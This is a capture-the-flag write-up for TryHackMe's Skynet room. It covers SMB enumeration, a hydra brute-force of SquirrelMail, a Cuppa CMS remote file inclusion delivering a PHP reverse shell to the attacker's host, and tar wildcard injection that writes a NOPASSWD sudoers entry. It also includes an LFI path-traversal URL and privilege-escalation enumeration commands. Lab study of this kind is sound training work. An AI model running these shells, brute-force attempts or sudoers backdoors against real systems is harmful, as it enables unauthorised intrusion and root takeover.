TryHackMe Skynet Writeup: SMB, Cuppa CMS RFI & Tar Wildcard Injection

Room Information

• Platform: TryHackMe
• Room name: Skynet
• Difficulty: Easy
• Goal: Ultimately capture user.txt and root.txt, with plenty of fun stages in between
• Theme: Terminator movie theme
• Link: https://tryhackme.com/room/skynet

Discovered Services

• Port 22: SSH
• Port 80: HTTP
• Port 110: POP3
• Port 139/445: SMB (Samba 4.3.11)
• Port 143: IMAP

Step 1: SMB Enumeration

Enumerate the SMB shares and find anonymous access:

smbclient -L //10.10.197.181
enum4linux 10.10.197.181

Connect to the anonymous share:

smbclient //10.10.197.181/anonymous
smb: \> ls
smb: \> cd logs
smb: \> get log1.txt

Key findings:

• log1.txt - a password list
• attention.txt - mentions the user milesdyson

Step 2: Web Directory Enumeration

Scan the website directories:

gobuster dir -u http://10.10.197.181/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

Found the /squirrelmail webmail login page.

Step 3: Cracking SquirrelMail

Use the username milesdyson for the account.

Crack it with the password list log1.txt we found earlier:

hydra -l milesdyson -P log1.txt 10.10.197.181 http-post-form \
"/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:incorrect"

After logging in successfully, I found the SMB password in one of the emails: `)s{A&2Z=F^n_E.B``

Step 4: Accessing the Personal SMB Share

Connect to the milesdyson share with the new password:

smbclient //10.10.197.181/milesdyson -U milesdyson
# Password: )s{A&2Z=F^n_E.B`
smb: \> cd notes
smb: \> get important.txt

The contents of important.txt reveal a hidden path:

1. Add features to beta CMS /45kra24zxs28v3yd

Step 5: Discovering Cuppa CMS

Recursively scan the hidden path:

gobuster dir -u http://10.10.197.181/45kra24zxs28v3yd/ \
-w /usr/share/wordlists/dirb/common.txt

Found /administrator - the Cuppa CMS login interface.

Step 6: Exploiting the RFI Vulnerability

Cuppa CMS has a Remote File Inclusion vulnerability:

└─$ searchsploit cuppa

Cuppa CMS - /alertConfigField.php' Local/Remote File Inclusion php/webapps/25971.txt

Prepare a simple PHP shell:

echo '<?php system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\""); ?>' > shell.php
python3 -m http.server 8000

Set up a listener and trigger it:

nc -lvnp 4444
# Trigger the RFI in the browser
http://10.10.197.181/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://YOUR_IP:8000/shell.php

Successfully obtained a www-data shell.

Step 7: Getting the User Flag

www-data@skynet:~$ cat /home/milesdyson/user.txt
<7ce5c2109aRedacted3600a9ae807>

Step 8: Finding the Privilege Escalation Vector

Check the cronjob:

www-data@skynet:~$ cat /etc/crontab
*/1 * * * * root /home/milesdyson/backups/backup.sh

Check backup.sh:

www-data@skynet:~$ cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

Notice it uses tar * - there's an Injection vulnerability!

Step 9: Tar Wildcard Injection Privilege Escalation

Abuse tar argument injection to modify sudoers:

cd /var/www/html

# Create a malicious script
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh
chmod +x shell.sh

# Create files that will be interpreted as tar arguments
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"

After waiting a minute (for the cronjob to run):

www-data@skynet:~$ sudo -l
# Confirm we have NOPASSWD privileges
www-data@skynet:~$ sudo su
root@skynet:~# whoami
root

Step 10: Getting the Root Flag

root@skynet:~# cat /root/root.txt
3f0372db24Redacted82cd6a949

Key Takeaways

1. SMB Information Disclosure
   • The anonymous share is publicly accessible and leaks a password list
2. Chaining Services Together
   • SMB → SquirrelMail → Personal Share → hidden path
   • Each service becomes the stepping stone to the next
3. Cuppa CMS RFI Vulnerability
   • The unfiltered urlConfig parameter allows including remote files
   • You can directly execute PHP code to get a shell

Lessons Learned

How Tar Wildcard Injection Works

The Problem:

1. The script uses tar cf backup.tgz *
2. * gets expanded by the shell into every filename
3. Tar treats certain filenames as arguments rather than files!

The Attack:

When we create a file named --checkpoint=1:

bash

touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"

After the shell expands *, the command becomes:

bash

tar cf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [other files...]

Tar treats the filenames starting with --checkpoint as command arguments!

Parameter Breakdown:

• --checkpoint=1: run the action once for every 1 file processed
• --checkpoint-action=exec=sh shell.sh: execute the sh shell.sh command

So this privilege escalation works by combining the shell's * expansion behavior with tar treating filenames as arguments.

About Step 1:

It seems obvious to check SMB in this step, but I actually started by researching SquirrelMail vulnerabilities first, since SquirrelMail also has a classic LFI vulnerability. After trying it and finding it didn't work, I turned to SMB instead.

About Step 6:

Once you have RFI, you can actually grab the user flag right at this step — give it a try. Since we already know where the user flag is, see if you can figure out how to use RFI to capture it. Check the solution below.

http://10.201.125.91/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../home/milesdyson/user.txt

About Step 8:

There are many privilege escalation methods. Beyond simply brute-forcing with linpeas.sh, here are a few approaches I've come across:

1. SUID/SGID Binaries

# Find SUID files
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID files
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Find both SUID and SGID at once
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

2. Sudo Permission Configuration

# Check the current user's sudo privileges
sudo -l

# View the sudoers file (if you have permission)
cat /etc/sudoers
ls -la /etc/sudoers.d/

3. Scheduled Tasks (Cron Jobs), as in this room

# System level
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*

4. Writable Important Files/Directories

5. Kernel and System Information

6. Searching for Sensitive Information

# Passwords in config files
# SSH private keys
# Database configuration